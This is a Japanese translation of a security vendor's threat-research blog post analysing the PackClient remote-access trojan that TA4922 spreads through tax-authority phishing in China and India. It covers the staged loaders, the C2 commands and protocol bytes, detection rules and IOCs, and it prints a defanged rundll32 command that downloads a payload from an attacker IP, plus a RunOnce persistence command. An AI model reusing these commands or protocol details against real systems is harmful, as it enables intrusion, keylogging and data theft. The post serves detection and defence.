DMARC-Blog-Banner

中国系サイバー犯罪グループTA4922:Telegramで売られる新型RAT「PackClient」

Share with your network!

主な調査結果

  • プルーフポイントは、Telegram上で販売されているPackClientと呼ばれるコマンド&コントロール(C2)フレームワークを特定しました。
  • このフレームワークは、少なくとも1つの脅威アクター、中国語話者のTA4922によって使用されています。
  • この新しいペイロードによって、TA4922は初期アクセス型マルウェアの武器庫を拡大しており、その多くは中国語圏のサイバー犯罪エコシステムに由来しています。

 

概要

 

プルーフポイントのリサーチャーは最近、私たちがPackClientと名付けたRATフレームワークを発見しました。PackClientは、少なくとも1つの脅威アクター、中国語話者の TA4922によって使用されており、Telegram上で活発に販売されているとみられます。PackClientは、データ窃取、監視、および追加のプラグインやペイロードのダウンロードをサポートする、フル機能かつモジュール型のコマンド&コントロール(C2)フレームワークです。

 

キャンペーンの詳細

 

2026年5月下旬、プルーフポイントのリサーチャーは、中国本土で事業を展開する組織を標的とし、PackClientフレームワークの一部と特定されるペイロードを配信する、TA4922によるものとされるキャンペーンを特定しました。このキャンペーンは税務をテーマとしたルアーを使用し、山東省税務局になりすまして、コンプライアンスに関する文言で受信者に行動を迫るものでした。

山東省税務局になりすましたTA4922のフィッシングメール

図1:税務調査通知のルアーを使用し、山東省税務局になりすましたTA4922のフィッシングメール

 

                  Email translation

 

件名は「長年にわたる売買契約および賃貸借契約における企業の印紙税未納に関する期限内自主点検の通知」と翻訳され、これは当該組織が2026年の税務調査の対象に選定されたというメール本文の主張と一致しています。このルアーは受信者に対し、リンクをクリックして書類を確認し、必要な情報を提出するよう指示するとともに、コンプライアンス違反に対する罰則を警告しています。メールには中国の国家税務総局に言及する連絡先情報と、書類をホストしていると称するURLが含まれていました。

埋め込まれたURLをクリックすると、被害者はアクターが管理するドメインgov12366[.]comからZIPアーカイブ「数据资料.zip」をダウンロードするよう誘導されました。このアーカイブには実行ファイル(「资料数据[.]exe」)が含まれており、これがPackClientのインストールを開始しました。

2026年5月のキャンペーンでPackClientを最初に特定して以降、プルーフポイントのリサーチャーは、このマルウェアを配信するTA4922のキャンペーンを少なくともさらに2件観測しています。2026年7月中旬、このアクターはインド所得税局になりすましたヒンディー語の税務執行ルアーを使用して、インドの組織を標的としました。これらのメールは、受信者が所得を過少申告し、海外資産の開示を怠ったと主張し、金銭的な罰則を科すと脅迫していました。それ以前の中国を対象とした活動とは異なり、これらのメッセージはIMGディスクイメージ(「Tax_Notice_23665.img 」)を含むZIPアーカイブ(「Tax_Notice_23665.zip」)を配信していました。マウントすると、このイメージには実行ファイルと悪意のあるDLLが含まれており、DLLサイドローディングを利用してDonut Loaderを実行し、最終的にPackClientをインストールしました。侵害後の通信は、IPアドレス64[.]81[.]30[.]99のインフラストラクチャとの間で観測されました。

インド政府所得税局になりすましたTA4922のフィッシングメール

図2:インド政府所得税局になりすましたTA4922のフィッシングメール

 

TA4922は、2026年7月20日から22日にかけて観測された後続のキャンペーンでも同じ感染チェーンを使用し続けました。これらのメールもインドの税務当局になりすまし、税金徴収や罰則をテーマとしたルアーを使用していました。受信者は、ZIPアーカイブ(「 ITDTAX202601987.zip」)に含まれる添付の税務書類を確認するよう指示されており、このアーカイブにも再びIMGファイル(「Tax_Notice_23709.img」)が含まれていました。リサーチャーは、TCPポート6666経由でIPアドレス192[.]252[.]180[.]45とのC2通信を観測しました。この脅威アクターはその後、初期感染から数時間後にManageEngineのリモート監視・管理(RMM)ソフトウェアを展開しており、侵害後の追加ツールの使用を示しています。プルーフポイントは、 Deception Pro マルウェア可観測性環境を使用して、この活動を観測することができました。

 

税金徴収および罰則通知のルアーを使用したTA4922のフィッシングメール

図3:インド所得税局になりすまし、税金徴収および罰則通知のルアーを使用したTA4922のフィッシングメール

 

後述するとおり、PackClientは中国語のTelegramチャネルを通じて販売されていると疑われることから、今後のキャンペーンでは他の中国語話者の脅威アクターもこのマルウェアを採用する可能性が高いと考えられます。

 

 

マルウェア解析

 

PackClientは、フル機能のリモートアクセス型トロイの木馬(RAT)およびC2フレームワークであり、PackClientを宣伝しているとみられる以下のTelegram投稿のスクリーンショットが示すとおり、Telegram上で宣伝されています。この投稿はマルウェアの名称を明示していないものの、「PackClientCore」への言及があり、宣伝文の記述はPackClientの機能と重複しています。

2026年3月のPackClientと疑われるTelegram投稿

図4:2026年3月のPackClientと疑われるTelegram投稿

 

このテキストのGoogle翻訳は以下のとおりです。

 

Telegram投稿テキストの日本語機械翻訳

図5:Telegram投稿テキストの日本語機械翻訳

 

PackClientは、第1段階のローダー実行ファイル、第2段階のローダー(「PackClientLauncher」)DLLモジュール、コアモジュール(「PackClientCore」)、およびオペレーターのコマンドに応じてダウンロード可能な複数のオプションプラグインで構成されています。プルーフポイントが解析した初期のサンプルでは、このマルウェアは生のTCPソケット経由でハードコードされた2つのC2エンドポイントに接続し、コアRAT DLLをダウンロードしてリフレクティブに実行し、コマンドを受信し、追加のプラグインやペイロードをダウンロードします。

 

 

ステージ1:初期ダウンローダー

 

PackClientは、チェーンの次の段階をダウンロードし、ホスト上に永続化を設定する小さな初期実行ファイルから始まります。以下の動作を実行します。

  1. プロセスが昇格した権限で実行されているかどうかを確認します
  2. DLL(場合によっては「xMain.dll」)をディスクに書き出し、以下のコマンドラインを使用して実行します(例):

    rundll32[.]exe "C:\Users\<user>\AppData\Local\Temp\xMain.dll",XMain hxxp://154.36.188[.]98:8080/Sz9110.bin 206.238.196[.]96 6666

このコマンドラインコマンドは、rundll32[.]exeを呼び出して、書き出されたxMain.dllモジュール(エクスポート関数「XMain」を使用)を実行し、さらに以下のパラメーターを含んでいます。1.)次の段階のペイロードをダウンロードするためのURL、2.)感染チェーンの後続の段階に渡されるプライマリC2とポートです。

  1. C2から暗号化されたペイロード(場合によっては「svchost.dat」)をダウンロードします。このペイロードはLauncherモジュールです(ステージ2で説明します)
  2. ステージ2のペイロードをXOR復号します
  3. 復号したPEファイルを %TEMP%\svchost[.]exe に書き込みます(ただし、このパスとファイル名はサンプルによって変わる可能性があります)
  4. レジストリの自動実行による永続化を設定します: reg add HKCU\...\RunOnce /v RuntimeBroker /t REG_SZ /d "%TEMP%\svchost[.]exe"
  5. CreateProcessW経由でペイロード %TEMP%\svchost[.]exe を起動します

ロードされるペイロードはPackClientLauncherモジュールです。

 

ステージ2:PackClientLauncherモジュール

 

PackClientLauncherモジュールという名称は、モジュールのPDBパス Project\Bin\Launcher\Win32\PackClientLauncher.pdb に見られる実際のモジュール名です。

PackClientLauncherモジュールのPDBおよびその他のメタデータ

図6:PackClientLauncherモジュールのPDBおよびその他のメタデータ

 

PackClientLauncherはPackClientコアモジュールのローダーとして使用され、以下の手順を実行します。

 

  1. プログラムエラーが発生した場合にプロセスダンプ(ミニダンプ)を実行する例外ハンドラーを設定します。これはオペレーターがプロセスのクラッシュをリモートでデバッグできるようにするためと考えられますが、テスト用の機能である可能性もあり、将来のマルウェアのサンプルでは無効化される可能性があります。
  2. 自身のコマンドラインパラメーター(ステージ1で説明)を調べて、プライマリC2とポートを取得します。
  3. プライマリC2にチェックインし、ステージ3のペイロード(コアモジュール)をダウンロードします。その後、このPEファイルをメモリ内にリフレクティブにロードします。
  4. RATコアモジュールを呼び出し、設定をコアモジュールに渡します。これは以下のいずれかの方法で行われます。
    • コマンドラインパラメーター経由で設定構造体(ホスト、ポート、グループ、備考)を渡す
    • レジストリから設定を読み取る
    • コアモジュールDLLから直接設定を解析する。設定はPEの.rdataセクション内のPACKLKH1とPACKLKH2のアンカーの間に存在します。

コアモジュールDLLにハードコードされたマルウェアの設定
図7:コアモジュールDLLにハードコードされたマルウェアの設定

 

  1. プロセスを監視モードに設定する別個のガードプロセス(–guardコマンドラインパラメーター付き)を生成します。この新しいプロセスはPackClientのメインコアプロセスを「監視」します。PackClientが終了させられた場合、このプロセスがプロセスを再起動します。

 

PackClientのプロセスツリーは特徴的であり、脅威ハンティングやインシデントレスポンスに使用できる優れた感染の指標となります。

PackClientのプロセスツリー

図8:PackClientのプロセスツリー

 

ツリー内の1番目と2番目のプロセスはステージ1のローダーであり、PackClientのLauncherとコアモジュールをメモリにロードします。–guardパラメーターを伴うsvchost[.]exeプロセスは、前述のガーディアンプロセスです。

 

 

ステージ3:PackClientCoreモジュール

 

最後にコアモジュールがロードされます。これは内部的に「PackClientCore」と呼ばれています。コアモジュールの主な機能は以下のとおりです。

  • モジュール型のプラグインシステム。追加のプラグインを動的にダウンロードして実行することが可能です(詳細は次のセクションで説明します)
  • 2つのC2サーバー接続(「S1」および「S2」)の同時サポート。それぞれ独立した設定を持ちます
  • C2サーバーから60を超えるコマンドを受け付け、ファイルシステム管理、監視とデータ窃取、ペイロードとプラグインのインストール、リモート設定とコア/モジュールの更新など、さまざまな動作をサポートします。
  • 実行中のプロセスを列挙し、セキュリティ製品(AVおよびEDRソフトウェア)、メッセージングアプリ(Telegram、WeChatなど)、ブラウザなどのプロセスを報告します。これは、感染したシステムが有効な標的であるかどうかを判断し、RATクライアントにどの後続プラグインを配信するかを決定するために使用されると考えられます
  • キーロガーおよびクリッパー機能
  • レジストリベースの永続化と設定の保存

さらにPackClientは、感染したシステム上で動作しているTelegram Desktopアプリケーションに特別な関心を示しているようです。Telegram Desktopのプロセスが実行中であることが検出されると、クライアントはこの情報をC2に報告します。コード解析に基づくと、C2はローカルのTelegram設定ファイルにデータを書き込む特別なTelegramプラグインを配信する可能性があると考えられます。これはカスタムのプロキシ設定である可能性があり、マルウェアのオペレーターがホストとの間のTelegram通信を傍受し、中間者攻撃を行うことを可能にします。

PackClientの設定

コアモジュールは、以下の場所のレジストリに設定を書き込みます。

HKEY_CURRENT_USER\SOFTWARE\PackClientConsole\<unique_value>\<config_value>.

例:

HKEY_CURRENT_USER\SOFTWARE\PackClientConsole\455b4698cc2d878a\s1_host

設定は以下のように定義されています。

設定値(例)

説明

s1_host

S1ホスト。プライマリC2のサーバーアドレスです。

s1_port

プライマリC2が使用するTCPポートです。

s1_group

プライマリC2に割り当てられた「group」の値です。ボットIDまたはキャンペーン識別子として使用されるとみられます。

s1_remark

プライマリC2に割り当てられた「remark」の値です。ボットIDまたはキャンペーン識別子として使用されるとみられます。

s2_host

S2ホスト。セカンダリC2のサーバーアドレスです。

s2_port

セカンダリC2が使用するTCPポートです。

s2_group

s1_groupを参照してください。

s2_remark

s1_remarkを参照してください。

group

デフォルトのgroup値

remark

デフォルトのremark値

mark_color

(おそらく)サーバー側の管理コンソール上でこの感染システムを視覚的にラベル付け/分類するために、C2オペレーターが割り当てるカラータグです。

device_uuid

感染したマシンの永続的な一意の識別子です。

first_install_at

RATがマシンに最初にインストールされた日時を記録します。

offline_ktl_enabled

(おそらく)クライアントがC2サーバーに接続していない間もキーロガーがキー入力の記録を続けるかどうかを制御します。

 

サポートされるC2コマンド

 

PackClientのコアモジュールは、C2から多数のコマンドを受け付けます。そのうちのいくつかを以下に定義します。これは60を超えるサポート対象コマンドを抜粋したリストです。

C2コマンド(コアモジュール内での表記)

説明

S1CFG|SET|

プライマリC2(S1)エンドポイント(ホスト+ポート)を再設定し、レジストリに永続化します

S2CFG|SET|

セカンダリC2(S2)エンドポイント(ホスト+ポート)を再設定し、レジストリに永続化します

CTL|X

クライアントに制御を発行します。Xには「DISCONNECT」(RATをサーバーから切断する)、「RESTART」(RATクライアントを再起動する)、「UNINSTALL」(RATをクライアントからアンインストールする)などの制御コードが入ります。

CMD|RUN|<command>

シェルコマンドを実行します(cmd[.]exe+CreateProcessW)

SCR

画面キャプチャを開始します(静的なスクリーンショット、またはリモートデスクトップのようなチャネルのいずれか)

PXY

プロキシ/SOCKSトンネルを開始します

WEBCAM

Webカメラ(リモートビデオ)のキャプチャを開始します

Q|FILE

ファイル/ディレクトリの一覧表示、ファイルのダウンロード、ファイルのアップロードなど、ファイル関連のコマンドを実行します。

Q|PROC|LIST

実行中のプロセスを一覧表示します

Q|PLUGIN

インストール済みのプラグインをリモートで管理するために使用されるとみられます(後述します)。追加のペイロードのダウンロードにも使用されます。

KTL

キーロガーの開始、キーロガーの停止、キーロガーデータの同期(C2への窃取)など、キーロガー関連の機能です

Q|EXT|CLIENTCOREUPD

コアモジュールを更新します

これらの中には、以下の機能をサポートするコマンドが存在します。

  • C2との接続を管理する
  • 権限を昇格する
  • リモートデスクトップの設定
  • レジストリキーの読み書きなどのレジストリ操作
  • ブラウザデータの列挙(ブラウザデータの窃取をサポートするためとみられます)
  • クリッパーの管理
  • 感染マシンの再起動などのシステム管理
  • 実行中のプロセスとウィンドウタイトルの検索

サポートされるコマンドの解析に基づくと、PackClientはアクターの目的に応じて、情報窃取、監視/スパイウェア、より大規模なボットネットの一部となるボット、追加のマルウェアをダウンロードするローダー、偵察フレームワークなど、幅広い目的に使用される可能性があります。

 

ステージ4:PackClientのプラグインモジュール

 

前述のとおり、PackClientのコアモジュールは、オペレーターが使用する機能を追加する追加のプラグインモジュールを要求して受信することができます。これらのプラグインそれぞれについて詳細な解析は行っていませんが、コアモジュールの解析に基づくと、以下のプラグインがサポートされていると考えられます。

プラグイン名

想定されるプラグインDLL名

プラグインの説明

remote_screen

PackPlugin.ScreenCore.dll

リモートデスクトップの画面共有をサポートします。

virtual_desktop

PackPlugin.VirtualDesktop.dll

RDPスタイルの仮想デスクトップ機能をサポートします。

file_management

PackPlugin.FileManager.dll

ファイルの読み書きやファイルの実行などのタスクをサポートするファイルマネージャーです。

system_management

PackPlugin.SystemManagement.dll

プロセスの一覧表示、スケジュールされたタスクの作成、UACによる昇格などのシステム管理系の活動です。

registry

不明

不明です。レジストリの読み書きなど、追加のレジストリ操作を処理するとみられます。

remote_terminal

PackPlugin.RemoteTerminal.dll

対話型のリモートシェル

remote_video

PackPlugin.RemoteVideo.dll

Webカメラのストリーミング/キャプチャ

proxy_tunnel

PackPlugin.Proxy.dll

SOCKS/TCPプロキシトンネリング

fast_gui_screen

PackPlugin.FastGuiScreen.dll

不明です。仮想デスクトップを制御する別の手法である可能性があります

tg_tool

PackPlugin.TgTool.dll

(おそらく)Telegramの傍受、監視、データ窃取のサポート

browser_mgr

PackPlugin.BrowserMgr.dll

不明です。ブラウザデータの窃取をサポートする可能性があります。

C2は、以下の構造化された形式で、Base64エンコードされたバイナリデータとしてプラグインをクライアント(PackClientCore)に送信します。

マルウェアクライアントに送信されるプラグインデータの構造体フォーマット

図9:マルウェアクライアントに送信されるプラグインデータの構造体フォーマット

 

このローダーの処理では、ダウンロードしたDLLを直接メモリにコピーし、必要なインポートを解決し、DLLのメイン関数を実行します。次に、RATクライアントがC2サーバーとどのように通信するかについて説明します。

 

 

C2通信

 

PackClientLauncherペイロードの取得

私たちが解析したあるサンプルでは、初期のダウンローダー実行ファイルが、IPアドレス154.36.188[.]98:8080からHTTP経由で別のペイロード、すなわちPackClientLauncherモジュールを要求していました。調査時点で、このペイロードのホストは依然として稼働しており、複数の.binファイルをホストしていました。

C2サーバー上のオープンディレクトリのスクリーンショット

図10:C2サーバー上のオープンディレクトリのスクリーンショット

 

アクターは、ペイロードのホスティングに Rejetto HTTP File Server (HFS)を使用しているとみられます。TA4922をはじめとする中国に関連するアクターは、悪意のあるペイロードのホスティングにHFSを頻繁に利用することが知られています。 ValleyRat、 ChinaZ、 BillGates などが代表的な例です。

 

HTTP経由で別のWindows実行ファイルを要求する初期のEXEペイロード

図11:HTTP経由で別のWindows実行ファイルを要求する初期のEXEペイロード

 

要求される.binファイルはWindowsの実行ファイルです。binファイルをダウンロードした後、カスタムのC2プロトコルを使用して、TCP経由で206.238.196[.]96:6666との通信が速やかに確立されます。

 

初期のコマンド&コントロール通信

TCP接続を確立した後、クライアントはバイト列24 00 40 5aを含む4バイトのペイロードを送信し、続いてバイトシーケンス15 00 00 00 50 4c 48 31で始まる36バイトのペイロードを送信します。その後、C2サーバーは32バイトのペイロードで応答します。このペイロードの最初の2バイトは「ペイロードサイズ指示子」であり、C2メッセージのサイズ、すなわちTCPペイロードの全体サイズから4バイトを引いた値をリトルエンディアン形式で示します。たとえば、この32バイトの応答では、最初の2バイトは1c 00です。10進数に変換すると値は28です。32から4を引くと28になります。C2からの応答のほとんどには、先頭にペイロードサイズ指示子のバイトが含まれます。

その直後にはバイトシーケンス40 5a 15 00 00 00 50 4c 43 31が続きます。これはPackClientとC2サーバーの間の初期ハンドシェイクとして機能します。

感染ホスト(緑色で表示)とコマンド&コントロールサーバー(赤色で表示)の間の通信確立に使用されるバイトシーケンス

図12:感染ホスト(緑色で表示)とコマンド&コントロールサーバー(赤色で表示)の間の通信確立に使用されるバイトシーケンス

 

PackClientCoreペイロードの取得

 

次に、クライアントは44バイトのメッセージを送信します。このバイトシーケンスは15 00 00 00 50 4c 41 31で始まります。その後、C2サーバーは、サイズ指示子の値3c 00(60バイト)で始まり、続いて40 5a 15 00 00 00 50 4c 4b 31が続く64バイトのメッセージで応答します。このやり取りの直後にC2が別の実行可能ペイロードを応答として返すことから、これはクライアントがC2にペイロードを要求しているものと考えられます。また、クライアントがバイト列08 00 40 5aを含む4バイトのメッセージで応答する場合があることも確認しました。これは、C2サーバーからのペイロードおよび/またはペイロードの次の部分を受け入れる準備ができていることを示す、クライアントからのシーケンス確認応答メッセージであると考えられます。

PackClientCoreペイロード取得の通信

図13:PackClientCoreペイロード取得の通信

 

デスクトップのスクリーンショットのキャプチャ

 

次にクライアントは、デスクトップのサムネイルサイズのスクリーンショットをC2サーバーに送信します。これらの送信は、C2サーバーの場合と同様に2バイトのペイロードサイズ指示子で始まり、続いてバイトシーケンス40 5a 12 00 00 00 50 56 31 30が続きます。この最初のバイトシーケンスの直後に、JPEGファイルのマジック(JFIF)が確認されました。

C2サーバーへのスクリーンショットの送信

図14:C2サーバーへのスクリーンショットの送信

 

ハートビート/キープアライブ

 

PackClientがアイドル状態、またはC2サーバーからの指示を待機している場合、クライアントは04 00 40 5a 01 00 00 00という8バイトのシーケンスを送信し、C2サーバーは04 00 40 5a 02 00 00 00で応答します。これはクライアントからのハートビート/キープアライブメッセージと、サーバーからの確認応答メッセージであると考えられます。

C2のコマンドと応答

クライアントにコマンドを送信する際、C2サーバーは2バイトのペイロードサイズ指示子の値で始まり、続いてバイトシーケンス40 5a 03 00 00 00が続くメッセージを送信します。また、メッセージが前述のバイトシーケンスで始まっている限り、C2が1つのTCPフレームで複数のコマンドを送信する場合があることも確認しています。クライアントはこれらのコマンドに対して、同じバイトシーケンス(2バイトのペイロードサイズ指示子を含む)で応答し、ほとんどの場合、その後にC2サーバーからの直前のコマンドの結果/確認応答が続きます。プルーフポイントは、C2サーバーからのこれらのコマンドと、感染したクライアントからの応答を数多く観測しています。以下にその例を示します。これらは、前述の サポートされるC2コマンド のセクションで概説したサポート対象のC2コマンドと一致しています。

バイトシーケンス

クライアントまたはサーバー

意味

TLM|U|KTL|OFFLINE|1

クライアント

クライアントが、キーロガーがオフラインモードで開始されたことをC2サーバーに通知します(キーロガーのデータはC2サーバーに送信されません)。

SYS|Q|EXT|PROC_GUARD|SYNC|enabled=1

サーバー

サーバーが、プロセスガーディアン機能を有効にするようクライアントに要求します。

SYS|R|EXT|PROC_GUARD|OK|enabled=1

クライアント

C2サーバーへの応答であり、プロセスガーディアン機能が有効化されたことを示します。

SCR|PREVIEW|ENABLE|1

サーバー

クライアント上でデスクトップのスクリーンショットのサムネイル機能を有効にします。

SCR|PREVIEW|REQ

サーバー

C2がクライアントにスクリーンショットのサムネイルを要求します。その結果、クライアントからJPEGのサムネイルサイズの画像を伴う「PV10」が送信されます。

INP|HELLO|uuid=[windows machine guid of infected host]

クライアント

クライアントからC2への「hello」/チェックインメッセージとみられます。PackClientは、感染したホストをそのマシンGUIDによって追跡しているようです。

C2の設定/ホスト情報

C2サーバーは、バイトシーケンス04 00 40 5a 0a 00 00 00を含む8バイトのペイロードを送信します。クライアントは、2バイトのペイロードサイズ指示子で始まり、続いてバイトシーケンス40 5a 0b 00 00 00が続くメッセージで応答します。TCPフレームの残りの部分には、オペレーティングシステムのバージョン、マシンGUID、ローカルIPアドレス、タイムスタンプ、ペイロードのアーキテクチャ、システムのアーキテクチャに加え、C2サーバーのIPアドレスまたはドメイン、C2通信用のポート、セカンダリC2サーバーのIPアドレスまたはドメイン、およびそのC2サーバーの通信用ポートといった、感染したクライアントに関するシステム情報が含まれます。

C2に感染情報を送信するPackClient

図15:C2に感染情報を送信するPackClient

 

 

結論

 

プルーフポイントは、中国語圏のサイバー犯罪エコシステムに由来するとみられる新興のマルウェアの特定と追跡を継続しています。TA4922はこのマルウェアをアジアの組織を標的とするために使用しましたが、同グループのこれまでの標的選定を踏まえると、このマルウェアは将来的にグローバルなキャンペーンで展開される可能性があります。さらに、PackClientはTelegramを通じて販売され広く入手可能となっていることから、他の脅威アクターも現在このマルウェアを使用している、あるいは今後のキャンペーンで使用する可能性が高いと考えられます。

特筆すべき点として、プルーフポイントは中国語圏のエコシステムに由来する新しいマルウェアを例年より高い頻度で観測し続けており、TA4922はこれらのグループに由来する少なくとも6種類のマルウェアファミリーの顧客となっています。これは、ハンティングと検知の強化によるところもあると考えられますが、コモディティマーケットプレイスに登場するマルウェアファミリーが増加していることにも起因しているとみられます。

 

脅威の検知とハンティングのためのアイデア

 

  • PackClientの起動に使用される特徴的なRundll32のコマンドライン: 例:rundll32[.]exe xMain.dll,XMain http://IP:PORT/file.bin c2_ip 6666
  • レジストリに保存されるPackClientの設定(HKCU\SOFTWARE\PackClientConsole\)。
  • 特徴的なプロセスツリーとコマンドラインフラグ(rundll32[.]exe -> svchost[.]exe -> svchost[.]exe –guard)
  • 一時ディレクトリ内で正規のWindowsユーティリティを装うマルウェア: 例:%TEMP%\svchost[.]exe
  •  %TEMP%\svchost[.]exe などの一時ディレクトリ内の実行ファイルを対象とする、レジストリによる永続化(HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • TCPポート6666経由の異常なネットワーク通信: なお、これはマルウェアのオペレーターによって容易に変更可能です。

 

Emerging Threats Suricataルール

 

以下のEmerging Threatsのルールは、PackClientの可能性がある活動の検知に役立ちます。

2018752

ET HUNTING Generic .bin download from Dotted Quad

2045860

ET HUNTING Rejetto HTTP File Server Response

2018959

ET INFO PE EXE or DLL Windows file download HTTP

2021076

ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response

2069878

ET MALWARE PackClient CnC Checkin M1

2069879

ET MALWARE PackClient RAT CnC Checkin M2

2069880

ET MALWARE PackClient RAT CnC Checkin M2 – C2 Response

2069881

ET MALWARE PackClient RAT Payload Request

2069882

ET MALWARE PackClient RAT Payload Request – C2 Response

2069883

ET MALWARE PackClient RAT Payload Data Received Acknowledgement

2069884

ET MALWARE PackClient RAT Status Checkin Message – From Client

2069885

ET MALWARE PackClient RAT Status Checkin Message – From Server

2069886

ET MALWARE PackClient RAT Client Heartbeat

2069887

ET MALWARE PackClient RAT Heartbeat Response from C2

2066888

ET MALWARE PackClient RAT Information Request

2069889

ET MALWARE PackClient RAT Information Request – Client Response

2069890

ET MALWARE PackClient RAT Desktop Screen Capture Exfiltration

 

IOC

 

指標

説明

初回確認日

154.36.188[.]98:8080

PackClientのローダーモジュールのダウンロード

2026年5月31日

206.238.196[.]96:6666

PackClientのC2とポート

2026年3月9日

gov12366[.]com

攻撃者が管理するドメイン

2026年5月31日

109d5c9a9581a4ccabd092ffb67bbc3a8e98e807239cd41141fac46fd107a7b7

PackClientを配信するZIPアーカイブ(数据资料.zip)

2026年5月31日

fa2ca62a47819417736d4edc59692bc920fb571d7eae468918f2fffc8920da53

PackClientを配信する実行ファイル(资料数据[.]exe )

2026年5月31日

64.81.30[.]99

PackClientのC2インフラストラクチャ

2026年7月15日

192.252.180[.]45:6666

PackClientのC2とポート

2026年7月20日

154.36.188[.]201

感染後の通信

2026年7月15日

192[.]229[.]87[.]219

ManageEngine RMMサーバー

2026年7月20日

7108ff29916d064216aa2ece7fb395f1e3a73d12d19895bffc0bd46806cbf85a

Tax_Notice_23665.zip ZIP添付ファイル

2026年7月15日

38ec1f5e23f65b10ae3027beabfa0bf7f9fb686355a9e33c7e7e44e6a998e04c

Tax_Notice_23665.img

2026年7月15日

7295090c2cb63ebc43f932451971c41f9d015d2741e97ae3d9855f5ae87cff94

nvdahelperremote.dll

2026年7月15日

da90b1219dcf1bf23e604b182b7737e188825df7205ea7b172231de66aeba293

ITDTAX202601987.zip ZIP添付ファイル

2026年7月20日

832e68e12ebf62b60cfe2a7b45e5948fcc364a74c8d73c3748b267617bcfb242

Tax_Notice_23709.img

2026年7月20日

83d16cd963b1926a9967e6928340f099abf983ca496639cfddd9d63e327db3d2

nvdahelperremote.dll

2026年7月20日

aa8cda8a9a7835a72d1b832985c5976873d2c6e791524039b809ce4441d3f69f

ITDTAX202601987.zip

2026年7月22日

35712dc8aa497371ce48a36975781dfc3a120ce5c99dc209637b05751bf4e8e9

Tax_Notice_00481.img

2026年7月22日

 

本ブログは英語ブログ「Carry-On Compromise: TA4922 Packs PackClient」の日本語訳です。英語原文との間で内容に齟齬がある場合には、英語原文が優先します。